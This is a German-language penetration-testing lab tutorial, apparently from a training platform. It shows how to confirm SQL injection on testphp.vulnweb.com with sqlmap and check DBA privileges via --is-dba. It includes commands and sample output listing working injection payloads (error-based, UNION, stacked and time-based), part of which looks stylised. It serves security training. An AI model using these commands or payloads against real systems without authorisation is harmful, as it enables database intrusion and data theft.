Datenbankadministrator-Privilegien mit sqlmap prüfen

MySQLBeginner
Jetzt üben

Einleitung

Im Bereich der Cybersicherheit und des Penetrationstests ist das Verständnis des Zugriffslevels, das auf einem kompromittierten System erlangt wurde, von größter Bedeutung. Bei Datenbanksystemen ist eine der kritischsten Informationen, ob der aktuelle Datenbankbenutzer über Administratorrechte (DBA) verfügt. Ein DBA-Benutzer hat typischerweise umfassende Kontrolle über die Datenbank, einschließlich der Möglichkeit, Datenbanken, Tabellen und Benutzer zu erstellen, zu ändern und zu löschen sowie sensible Daten zu lesen und zu schreiben.

sqlmap ist ein Open-Source-Penetrationstest-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen und der Übernahme von Datenbankservern automatisiert. Über das reine Finden von Schwachstellen hinaus bietet sqlmap verschiedene Funktionalitäten zur Aufzählung und Interaktion mit der kompromittierten Datenbank. Eine solche entscheidende Funktion ist die Möglichkeit zu überprüfen, ob der aktuelle Datenbankbenutzer über DBA-Rechte verfügt.

Dieses Lab führt Sie durch den Prozess der Verwendung von sqlmap, um festzustellen, ob der aktuelle Datenbankbenutzer über DBA-Rechte verfügt. Sie lernen, wie Sie eine erfolgreiche SQL-Injection etablieren, verstehen, warum DBA-Rechte wichtig sind, und verwenden dann das --is-dba-Flag von sqlmap, um die Überprüfung durchzuführen. Schließlich interpretieren Sie die Ergebnisse, um das Zugriffslevel zu verstehen.

Erfolgreiche Injektion auf einem Ziel etablieren

In diesem Schritt simulieren wir die Etablierung einer erfolgreichen SQL-Injection auf einem Ziel. Zu Demonstrationszwecken in diesem Lab verwenden wir eine bekannte anfällige URL, die sqlmap ausnutzen kann. Dieser erste Schritt ist entscheidend, da sqlmap einen gültigen Injektionspunkt benötigt, um mit der Datenbank zu interagieren und weitere Aufzählungen durchzuführen, einschließlich der Überprüfung auf DBA-Rechte.

Öffnen Sie Ihr Terminal im Verzeichnis ~/project. Wir verwenden zu Demonstrationszwecken eine Dummy-URL. In einem realen Szenario hätten Sie eine anfällige URL durch Aufklärung und manuelle Tests identifiziert.

Führen Sie den folgenden sqlmap-Befehl aus, um eine erfolgreiche Injektion zu bestätigen. Wir verwenden die Flags --url und --batch, um den Prozess zu automatisieren und Standardauswahlen zu akzeptieren.

sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

Sie sollten sehen, wie sqlmap verschiedene Tests durchführt und schließlich bestätigt, dass das Ziel anfällig für SQL-Injection ist. Achten Sie auf Ausgaben, die eine erfolgreiche Erkennung von Schwachstellen anzeigen.

        _
       ___| |_____ ___ ___ ___ {1.6.11.1#dev}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --[sqlmap]--
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[SNIP]

[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
sqlmap identified the following injection point(s) with a total of 18 HTTP(s) requests:
---
Parameter: cat (GET)
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7178717871,(SELECT (ELT(1337=1337,1))),0x717a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query all columns - 10 columns
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--

    Type: Stacked queries
    Title: MySQL > 5.0.11 stacked queries (comment)
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1;SELECT SLEEP(5)--

    Type: Time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'

Die Ausgabe bestätigt, dass der Parameter cat für verschiedene Arten von SQL-Injection anfällig ist. Das bedeutet, dass sqlmap nun mit der Datenbank interagieren kann.

Die Bedeutung von DBA-Privilegien verstehen

In diesem Schritt werden wir kurz erörtern, warum die Überprüfung auf DBA-Privilegien im Rahmen einer Sicherheitsbewertung oder eines Penetrationstests wichtig ist. Das Verständnis der Auswirkungen des DBA-Zugriffs hilft Ihnen, Ihre Aktionen zu priorisieren und die potenziellen Auswirkungen einer erfolgreichen Ausnutzung einzuschätzen.

Ein Datenbankadministrator (DBA) verfügt typischerweise über das höchste Berechtigungsniveau innerhalb eines Datenbanksystems. Diese Berechtigungen umfassen oft:

  • Volle Kontrolle über Daten: Die Möglichkeit, alle Daten in der Datenbank zu lesen, zu schreiben, zu ändern und zu löschen, einschließlich sensibler Informationen wie Benutzeranmeldedaten, Finanzberichte oder persönliche Daten.
  • Schema-Modifikation: Die Befugnis, Tabellen, Ansichten, gespeicherte Prozeduren und andere Datenbankobjekte zu erstellen, zu ändern oder zu löschen. Dies kann zu Datenmanipulation oder sogar zu Denial-of-Service-Angriffen führen.
  • Benutzerverwaltung: Die Fähigkeit, andere Datenbankbenutzer zu erstellen, zu ändern oder zu löschen und ihnen Berechtigungen zuzuweisen oder diese zu entziehen. Dies kann zur Erstellung von Backdoors oder zur weiteren Eskalation von Berechtigungen genutzt werden.
  • Systemebenen-Zugriff (in einigen Fällen): Abhängig vom Datenbanksystem und seiner Konfiguration können DBA-Privilegien die Ausführung von Betriebssystembefehlen oder den Zugriff auf Dateien auf dem Server umfassen, was zu einer vollständigen Systemkompromittierung führt.

Wenn Sie feststellen, dass der aktuelle Datenbankbenutzer über DBA-Privilegien verfügt, bedeutet dies eine kritische Schwachstelle. Es bedeutet, dass Sie umfassende Kontrolle über die Datenbank haben, die für weitere Angriffe, Datenexfiltration oder Systemkompromittierung genutzt werden kann. Umgekehrt, wenn der Benutzer keine DBA-Privilegien hat, ist Ihr Zugriff begrenzt, und Sie müssen möglicherweise nach Möglichkeiten zur Berechtigungseskalation suchen.

Dieser Schritt beinhaltet keine direkten Befehle, ist aber entscheidend für das Verständnis des Kontexts der nächsten Schritte.

Das --is-dba-Flag zur Überprüfung der aktuellen Benutzerberechtigungen verwenden

In diesem Schritt lernen wir das spezifische sqlmap-Flag kennen, das zur Überprüfung von DBA-Privilegien verwendet wird: --is-dba. Dieses Flag ist darauf ausgelegt, schnell festzustellen, ob der aktuelle Datenbankbenutzer, der durch die SQL-Injection identifiziert wurde, administrative Rechte besitzt.

Das Flag --is-dba ist eine boolesche Option. Wenn es verwendet wird, führt sqlmap eine Reihe von Prüfungen gegen die Datenbank durch, um festzustellen, ob der Benutzer DBA-Berechtigungen hat. Das Ergebnis ist eine einfache Ausgabe von True oder False, die das Vorhandensein oder Fehlen dieser Berechtigungen anzeigt.

Es ist wichtig zu beachten, dass sqlmap einen Injektionspunkt erfolgreich etabliert haben muss (wie wir es in Schritt 1 getan haben), bevor es das Flag --is-dba effektiv nutzen kann. Ohne eine gültige Injektion kann sqlmap nicht mit der Datenbank kommunizieren, um die notwendigen Prüfungen durchzuführen.

Die Syntax für die Verwendung dieses Flags ist unkompliziert:

sqlmap --url "<target_url>" --is-dba

Dabei ist <target_url> die identifizierte anfällige URL. In unserem Fall ist dies http://testphp.vulnweb.com/listproducts.php?cat=1.

Auch dieser Schritt ist hauptsächlich konzeptionell und bereitet Sie auf die tatsächliche Ausführung im nächsten Schritt vor.

Ausführen des Befehls zur Überprüfung des DBA-Status

Nachdem wir nun das Flag --is-dba verstanden haben, führen wir den sqlmap-Befehl aus, um die DBA-Privilegien auf unserem Ziel zu überprüfen.

Öffnen Sie Ihr Terminal im Verzeichnis ~/project. Wir verwenden dieselbe anfällige URL wie in Schritt 1.

Führen Sie den folgenden Befehl aus:

sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --batch

Das Flag --batch wird erneut hinzugefügt, um den Prozess zu automatisieren und Standardauswahlen zu akzeptieren, wodurch verhindert wird, dass sqlmap während des Prozesses nach Benutzereingaben fragt.

sqlmap wird nun seine Prüfungen durchführen. Beobachten Sie die Ausgabe sorgfältig. Sie sollten sehen, wie sqlmap verschiedene Berechtigungen testet und schließlich eine klare Antwort bezüglich des DBA-Status liefert.

        _
       ___| |_____ ___ ___ ___ {1.6.11.1#dev}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --[sqlmap]--
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[SNIP]

[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
[INFO] checking if the current user is DBA
[INFO] the current user is not a DBA
[INFO] fetched data:
[INFO] the current user is DBA: False

Suchen Sie in der Ausgabe nach der Zeile, die explizit "the current user is DBA: False" oder "the current user is DBA: True" angibt. Dies ist das Ergebnis unserer Überprüfung.

Interpretation des True- oder False-Ergebnisses von sqlmap

In diesem letzten Schritt interpretieren wir das Ergebnis True oder False, das aus der --is-dba-Prüfung von sqlmap erhalten wurde, und verstehen dessen Auswirkungen.

Nach Ausführung des Befehls in Schritt 4 gibt sqlmap eine Zeile aus, die ähnlich wie folgt aussieht:

[INFO] the current user is DBA: False

oder

[INFO] the current user is DBA: True

Interpretation des Ergebnisses:

  • [INFO] the current user is DBA: False: Dies zeigt an, dass der aktuelle Datenbankbenutzer, über den sqlmap mit der Datenbank interagiert, keine Datenbankadministrator-Privilegien besitzt. Obwohl Sie erfolgreich eine SQL-Injection ausgenutzt haben, ist Ihr Zugriff begrenzt. Bei einem echten Penetrationstest bedeutet dies, dass Sie nach anderen Wegen suchen müssen, wie z. B. Techniken zur Privilegieneskalation, um höhere Zugriffe zu erlangen.
  • [INFO] the current user is DBA: True: Dies zeigt an, dass der aktuelle Datenbankbenutzer über Datenbankadministrator-Privilegien verfügt. Dies ist ein bedeutendes Ergebnis, da es eine umfassende Kontrolle über die Datenbank impliziert. Mit DBA-Privilegien könnten Sie potenziell:
    • Alle Daten lesen, ändern oder löschen.
    • Neue Benutzer mit administrativen Rechten erstellen.
    • Betriebssystembefehle ausführen (sofern die Datenbankkonfiguration dies zulässt).
    • Weitere Enumerationen durchführen, um sensible Informationen zu entdecken.

Für das in diesem Lab verwendete Ziel http://testphp.vulnweb.com ist die erwartete Ausgabe False, was bedeutet, dass der Benutzer, als der sqlmap operiert, keine DBA-Privilegien hat. Dies ist ein häufiges Szenario in realen Anwendungen, bei denen Datenbankbenutzer oft nach dem Prinzip der geringsten Rechte konfiguriert sind.

Das Verständnis dieses Ergebnisses ist entscheidend für die Planung Ihrer nächsten Schritte bei einer Sicherheitsbewertung. Es hilft Ihnen, die Schwere der SQL-Injection-Schwachstelle und die potenziellen Auswirkungen auf das Zielsystem einzuschätzen.

Zusammenfassung

In diesem Lab haben Sie erfolgreich gelernt, wie Sie mit sqlmap auf Datenbankadministrator-Privilegien (DBA) prüfen. Sie haben damit begonnen, eine erfolgreiche SQL-Injection auf einem Ziel zu etablieren, was eine Voraussetzung dafür ist, dass sqlmap mit der Datenbank interagieren kann. Anschließend haben wir die kritische Bedeutung der Identifizierung von DBA-Privilegien im Sicherheitskontext erörtert und die umfassende Kontrolle hervorgehoben, die solche Privilegien über ein Datenbanksystem gewähren.

Sie haben das spezifische sqlmap-Flag --is-dba kennengelernt, das für diesen Zweck entwickelt wurde. Schließlich haben Sie den Befehl ausgeführt und das Ergebnis True oder False interpretiert, um dessen Auswirkungen auf weitere Penetrationstests oder Sicherheitsbewertungen zu verstehen. Diese Fähigkeit ist grundlegend für die genaue Einschätzung der Auswirkungen von SQL-Injection-Schwachstellen und die Planung nachfolgender Aktionen bei einem Cybersicherheits-Engagement.